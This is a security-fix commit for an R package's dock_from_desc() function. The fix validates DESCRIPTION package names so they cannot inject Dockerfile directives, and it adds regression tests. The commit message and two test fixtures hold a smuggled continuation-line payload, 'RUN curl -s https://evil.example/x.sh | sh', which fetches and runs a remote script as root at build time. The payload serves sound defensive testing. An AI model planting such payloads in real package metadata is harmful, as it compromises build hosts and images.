fix(security): validate package names read from the DESCRIPTION (#113)

`dock_from_desc()` interpolates package names from the (possibly
untrusted) `DESCRIPTION` into generated Dockerfile directives with no
validation, on two paths:

1. `build_from_source = FALSE`: the `Package:` field goes into the
   `COPY <pkg>_*.tar.gz /app.tar.gz` directive and the `list.files()`
   tar.gz-cleanup glob.
2. `build_from_source = TRUE` (the default): every `Imports:` /
   `Depends:` / `Suggests:` / `LinkingTo:` / `Enhances:` name
   (`desc::desc_get_deps(path)$package`) goes into a generated
   `remotes::install_version("<name>", ...)` install RUN.

`read.dcf()` and `desc::desc_get_deps()` both join DCF continuation
lines with `\n`, so a crafted field such as

    Package: app
     RUN curl -s https://evil.example/x.sh | sh #

or

    Imports:
        evilpkg
         RUN curl -s https://evil.example/x.sh | sh #

yields a value containing an embedded newline, and the generated
Dockerfile then carries an extra standalone `RUN` directive on the
next physical line -- attacker-controlled commands executing as root
at `docker build` time (build secrets, mounted SSH keys, supply-chain
poisoning of the produced image). The `DESCRIPTION` is a plausible
attacker artifact: received from a colleague, vendored, a CI cache, a
cloned tarball.

Add `.validate_pkg_name()` / `.validate_pkg_names()` (CRAN
package-name grammar `^[a-zA-Z][a-zA-Z0-9.]*$` -- letters, digits and
dots only, starting with a letter; no whitespace, newlines or
shell/Dockerfile metacharacters) and call them at `dock_from_desc()`
entry: the `Package:` field once (reused for the `COPY` directive, the
cleanup glob and the "tar.gz created" message), and every
dependency-field name after the R/base-package filter.

Two related hardening tweaks on the same code path:
- Read the `Package:` field by name (`read.dcf(path)[1L, "Package"]`)
  instead of positionally (`read.dcf(path)[1]`): DCF field order is
  not guaranteed, so a `DESCRIPTION` with `Type:` / `Encoding:` ahead
  of `Package:` would otherwise validate and reuse the wrong value.
- Build the tar.gz-cleanup `list.files()` pattern from a glob
  (`glob2rx(sprintf("%s_*.tar.gz", pkg_name))`) instead of a raw
  `sprintf("%s_.+.tar.gz", pkg_name)`: a dot in `pkg_name` (allowed by
  the CRAN grammar, e.g. `R.utils`) was being treated as a regex
  wildcard and could `file.remove()` a sibling package's tarball
  (`RZutils_*.tar.gz`).

Tests added (red-first): a `DESCRIPTION` whose `Package:` field,
resp. whose `Imports:` field, carries a continuation-line `RUN`
payload must raise the package-name validation error rather than
reaching the Dockerfile (verified red against the unpatched function
-- the payload landed in the generated Dockerfile as a standalone
`RUN` line -- and green after the fix); and `dock_from_desc(..., update_tar_gz = TRUE)`
for `Package: R.utils` must not delete a sibling `RZutils_*.tar.gz`
(verified red against the `sprintf` pattern, green after `glob2rx`).
Benign `DESCRIPTION` still produces the expected `COPY` and
`install_version` lines. Full test suite: 0 failures. R CMD check:
0/0/0 (one transient "unable to verify current time" host NOTE,
unrelated). Same fix shape as the `dock_from_renv()` lockfile-injection
fix in #112.

Author: VincentGuyader

NAMESPACE

@@ -29,5 +29,6 @@ importFrom(remotes,package_deps)
 importFrom(usethis,use_build_ignore)
 importFrom(utils,download.file)
 importFrom(utils,getFromNamespace)
+importFrom(utils,glob2rx)
 importFrom(utils,installed.packages)
 importFrom(utils,packageVersion)

NEWS.md

@@ -75,6 +75,22 @@
   an embedded newline would pass validation and then emit a two-line
   `FROM` directive. Not exploitable for command injection, but it
   could silently break `docker build`.
+- Fixed a long-standing code-injection path in `dock_from_desc()`:
+  package names read from the `DESCRIPTION` were interpolated into
+  generated Dockerfile directives without validation. `read.dcf()` and
+  `desc::desc_get_deps()` both join DCF continuation lines with `\n`,
+  so a crafted `Package:` field, or a crafted `Imports:` / `Depends:`
+  / `Suggests:` / `LinkingTo:` entry, could carry a continuation line
+  that injects an extra Dockerfile directive (e.g. a `RUN`) executing
+  as root at `docker build` time -- the `Package:` field via the
+  `COPY <pkg>_*.tar.gz /app.tar.gz` line and the tar.gz-cleanup glob
+  on the `build_from_source = FALSE` path, and the dependency names
+  via the `remotes::install_version("<name>", ...)` install RUNs on
+  the default `build_from_source = TRUE` path. Both the package name
+  and every dependency-field name are now validated against the CRAN
+  package-name grammar at function entry. The bug predates 0.3.0.
+  Found by the same internal security audit as the `dock_from_renv()`
+  fix above.
 
 ## New features
 

R/dock_from_desc.R

@@ -89,7 +89,7 @@ quote_not_na <- function(x){
 #' @export
 #' @rdname dockerfiles
 #'
-#' @importFrom utils installed.packages packageVersion
+#' @importFrom utils installed.packages packageVersion glob2rx
 #' @importFrom remotes dev_package_deps
 #' @importFrom desc desc_get_deps desc_get
 #' @importFrom usethis use_build_ignore
@@ -121,10 +121,23 @@ dock_from_desc <- function(
   .validate_repos(repos)
   .validate_extra_sysreqs(extra_sysreqs)
   path <- fs::path_abs(path)
+  # Package name read from the (possibly untrusted) DESCRIPTION. It is
+  # interpolated into the `COPY <pkg>_*.tar.gz /app.tar.gz` line and the
+  # tar.gz-cleanup glob below for `build_from_source = FALSE`; validate
+  # it up front so a crafted `Package:` field cannot inject an extra
+  # Dockerfile directive.
+  pkg_name <- read.dcf(path)[1L, "Package"]
+  .validate_pkg_name(pkg_name)
 
   packages <- desc_get_deps(path)$package
   packages <- packages[packages != "R"] # remove R
   packages <- packages[!packages %in% base_pkg_] # remove base and recommended
+  # The dependency-field names are interpolated into the generated
+  # `remotes::install_version("<name>", ...)` install RUNs (and queried
+  # for system requirements); validate them like the `Package:` field
+  # so a crafted Imports / Depends / Suggests / LinkingTo entry cannot
+  # inject an extra Dockerfile directive at `docker build` time.
+  .validate_pkg_names(packages)
 
   if (sysreqs) {
 
@@ -300,7 +313,11 @@ dock_from_desc <- function(
   if (!build_from_source) {
     if (update_tar_gz) {
       old_version <- list.files(
-        pattern = sprintf("%s_.+.tar.gz", read.dcf(path)[1]),
+        # `list.files(pattern =)` is a regex; build it from a glob so a
+        # dot in `pkg_name` (allowed by the CRAN package-name grammar,
+        # e.g. `R.utils`) is matched literally and a sibling tarball
+        # such as `RZutils_*.tar.gz` is not swept up.
+        pattern = glob2rx(sprintf("%s_*.tar.gz", pkg_name)),
         full.names = TRUE
       )
 
@@ -336,7 +353,7 @@ dock_from_desc <- function(
         cat_green_tick(
           sprintf(
             " %s_%s.tar.gz created.",
-            read.dcf(path)[1],
+            pkg_name,
             read.dcf(path)[1, ][["Version"]]
           )
         )
@@ -347,7 +364,7 @@ dock_from_desc <- function(
     # we use an already built tar.gz file
 
     dock$COPY(
-      from = paste0(read.dcf(path)[1], "_*.tar.gz"),
+      from = paste0(pkg_name, "_*.tar.gz"),
       to = "/app.tar.gz"
     )
     dock$RUN(

R/utils.R

@@ -312,6 +312,63 @@ cat_info <- function(...) {
   invisible()
 }
 
+#' @noRd
+.validate_pkg_name <- function(x) {
+  if (!is.character(x) || length(x) != 1L || is.na(x)) {
+    stop(
+      "the package name read from the DESCRIPTION must be a single ",
+      "string, got: ",
+      deparse(x)
+    )
+  }
+  # CRAN package-name grammar: a letter, then letters / digits / dots.
+  # `read.dcf()` joins DCF continuation lines with `\n`, so a crafted
+  # `Package:` field could otherwise smuggle a newline (and an extra
+  # Dockerfile directive) into the `COPY <pkg>_*.tar.gz` line generated
+  # for `build_from_source = FALSE`. This grammar excludes whitespace,
+  # newlines and every shell / Dockerfile metacharacter.
+  if (!grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x)) {
+    stop(
+      "the package name read from the DESCRIPTION must match the CRAN ",
+      "package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ",
+      "(letters, digits and dots only, starting with a letter), got: ",
+      deparse(x)
+    )
+  }
+  invisible()
+}
+
+#' @noRd
+.validate_pkg_names <- function(x) {
+  if (length(x) == 0L) {
+    return(invisible())
+  }
+  if (!is.character(x)) {
+    stop(
+      "the package names read from the DESCRIPTION dependency fields ",
+      "must be a character vector, got: ",
+      deparse(x)
+    )
+  }
+  # Same CRAN package-name grammar as `.validate_pkg_name()`, applied to
+  # every Imports / Depends / Suggests / LinkingTo / Enhances entry.
+  # `desc::desc_get_deps()` joins DCF continuation lines with `\n`, so a
+  # crafted dependency field could otherwise smuggle a newline (and an
+  # extra Dockerfile directive) into the generated
+  # `remotes::install_version("<name>", ...)` install RUN.
+  bad <- is.na(x) | !grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x)
+  if (any(bad)) {
+    stop(
+      "package names read from the DESCRIPTION dependency fields must ",
+      "match the CRAN package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ",
+      "(letters, digits and dots only, starting with a letter); ",
+      "invalid: ",
+      paste(vapply(x[bad], deparse, character(1)), collapse = ", ")
+    )
+  }
+  invisible()
+}
+
 #' @noRd
 .validate_renv_paths_cache <- function(x) {
   if (is.null(x)) {

tests/testthat/test-dock_from_desc.R

@@ -356,6 +356,130 @@ withr::with_dir(
       expect_match(df, "remotes::install_local", fixed = TRUE)
     })
 
+    test_that("dock_from_desc(update_tar_gz = TRUE) does not sweep a sibling package's tarball when the package name contains a dot", {
+      skip_if(is_rdevel, "skip on R-devel")
+      # `list.files(pattern =)` is a regex. With `Package: R.utils`,
+      # `sprintf("%s_.+.tar.gz", "R.utils")` also matches
+      # `RZutils_*.tar.gz` and would `file.remove()` it. Building the
+      # pattern from a glob keeps the dot literal.
+      dot_dir <- tempfile(pattern = "dot-pkg")
+      dir.create(dot_dir)
+      on.exit(unlink(dot_dir, recursive = TRUE), add = TRUE)
+      writeLines(
+        c(
+          "Package: R.utils",
+          "Version: 1.0.0",
+          "Title: Demo",
+          "Description: Demo.",
+          "License: MIT",
+          "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))"
+        ),
+        file.path(dot_dir, "DESCRIPTION")
+      )
+      file.create(file.path(dot_dir, "R.utils_0.9.0.tar.gz"))
+      file.create(file.path(dot_dir, "RZutils_0.9.0.tar.gz"))
+      withr::with_dir(dot_dir, {
+        testthat::with_mocked_bindings(
+          code = testthat::with_mocked_bindings(
+            code = dock_from_desc(
+              "DESCRIPTION",
+              build_from_source = FALSE,
+              update_tar_gz = TRUE
+            ),
+            package_deps = function(packages) {
+              data.frame(
+                package = character(0),
+                is_cran = logical(0),
+                installed = character(0),
+                stringsAsFactors = FALSE
+              )
+            },
+            .package = "remotes"
+          ),
+          get_sysreqs = function(...) character(0),
+          build = function(path, dest_path, vignettes) {
+            fake <- file.path(dest_path, "R.utils_1.0.0.tar.gz")
+            file.create(fake)
+            fake
+          },
+          use_build_ignore = function(files) invisible(TRUE)
+        )
+      })
+      # The unrelated sibling tarball must survive.
+      expect_true(file.exists(file.path(dot_dir, "RZutils_0.9.0.tar.gz")))
+      # The package's own old tarball is the one that gets cleaned.
+      expect_false(file.exists(file.path(dot_dir, "R.utils_0.9.0.tar.gz")))
+    })
+
+    test_that("dock_from_desc rejects a DESCRIPTION whose Package field carries a continuation-line injection", {
+      skip_if(is_rdevel, "skip on R-devel")
+      # `read.dcf()` joins DCF continuation lines with `\n`. Without
+      # validation, a `Package:` field with a continuation line is
+      # interpolated into the `COPY <pkg>_*.tar.gz /app.tar.gz` line
+      # generated for `build_from_source = FALSE`, injecting an extra
+      # Dockerfile directive that runs as root at `docker build` time.
+      evil_dir <- tempfile(pattern = "evil-desc")
+      dir.create(evil_dir)
+      on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE)
+      writeLines(
+        c(
+          "Package: app",
+          " RUN curl -s https://evil.example/x.sh | sh #",
+          "Version: 1.0.0",
+          "Title: Demo",
+          "Description: Demo.",
+          "License: MIT",
+          "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))"
+        ),
+        file.path(evil_dir, "DESCRIPTION")
+      )
+      expect_error(
+        testthat::with_mocked_bindings(
+          code = dock_from_desc(
+            file.path(evil_dir, "DESCRIPTION"),
+            build_from_source = FALSE,
+            update_tar_gz = FALSE
+          ),
+          get_sysreqs = function(...) character(0)
+        ),
+        "package name"
+      )
+    })
+
+    test_that("dock_from_desc rejects a DESCRIPTION whose Imports field carries a continuation-line injection", {
+      skip_if(is_rdevel, "skip on R-devel")
+      # `desc::desc_get_deps()` joins DCF continuation lines with `\n`
+      # like `read.dcf()`. Without validation, a crafted dependency
+      # name is interpolated into the generated
+      # `remotes::install_version("<name>", ...)` RUN, injecting an
+      # extra Dockerfile directive that runs as root at `docker build`
+      # time -- and this path fires on the default
+      # `build_from_source = TRUE`, not only on the COPY path.
+      evil_dir <- tempfile(pattern = "evil-desc-imports")
+      dir.create(evil_dir)
+      on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE)
+      writeLines(
+        c(
+          "Package: app",
+          "Version: 1.0.0",
+          "Title: Demo",
+          "Description: Demo.",
+          "License: MIT",
+          "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))",
+          "Imports:",
+          "    evilpkg",
+          "     RUN curl -s https://evil.example/x.sh | sh #"
+        ),
+        file.path(evil_dir, "DESCRIPTION")
+      )
+      expect_error(
+        testthat::with_mocked_bindings(
+          code = dock_from_desc(file.path(evil_dir, "DESCRIPTION")),
+          get_sysreqs = function(...) character(0)
+        ),
+        "package name"
+      )
+    })
 
     test_that("dock_from_desc messages the user when DESCRIPTION declares SystemRequirements", {
       skip_if(is_rdevel, "skip on R-devel")